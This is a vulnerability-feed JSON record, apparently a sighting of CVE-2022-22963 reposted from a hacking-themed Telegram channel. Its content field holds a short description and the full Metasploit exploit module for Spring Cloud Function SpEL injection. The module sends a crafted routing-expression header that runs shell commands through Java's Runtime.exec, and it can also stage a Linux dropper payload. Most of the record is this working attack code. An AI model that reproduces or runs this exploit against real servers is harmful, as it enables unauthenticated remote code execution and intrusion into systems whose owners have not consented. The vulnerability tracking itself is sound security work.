{"uuid": "4ce9644b-f4fd-4797-906d-3e0c1e16f2e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-22963", "type": "seen", "source": "https://t.me/hacking_Attack/48316", "content": "Exploit Collector\nSpring Cloud Function SpEL Injection\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n\nMD5 | 37237adb0a663338ed6a55623faff6dbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Spring Cloud Function SpEL Injection',\n'Description' => %q{\nSpring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\nan unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\nthe spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\nexecution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n},\n'Author' => [\n'm09u3r', # vulnerability discovery\n'hktalent', # github PoC\n'Spencer McIntyre'\n],\n'References' => [\n['CVE', '2022-22963'],\n['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],\n['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],\n['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']\n],\n'DisclosureDate' => '2022-03-29',\n'License' => MSF_LICENSE,\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' => false,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :linux_dropper\n}\n]\n],\n'DefaultTarget' => 1,\n'DefaultOptions' => {\n'RPORT' => 8080,\n'TARGETURI' => '/functionRouter'\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOptString.new('TARGETURI', [true, 'Base path', '/'])\n])\nend\n\ndef check\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(datastore['TARGETURI'])\n)\n\nreturn CheckCode::Unknown unless res\n\n# both vulnerable and patched servers respond with 500 and a JSON body with these keys\nreturn CheckCode::Safe unless res.code == 500\nreturn CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)\n\n# best we can do is detect that the service is running\nCheckCode::Detected\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nvprint_status(\"Executing command: #{cmd}\")\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(datastore['TARGETURI']),\n'headers' => {\n'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\"\n}\n)\n\nfail_with(Failure::Unreachable, 'Connection failed') if res.nil?\nfail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.766243Z"}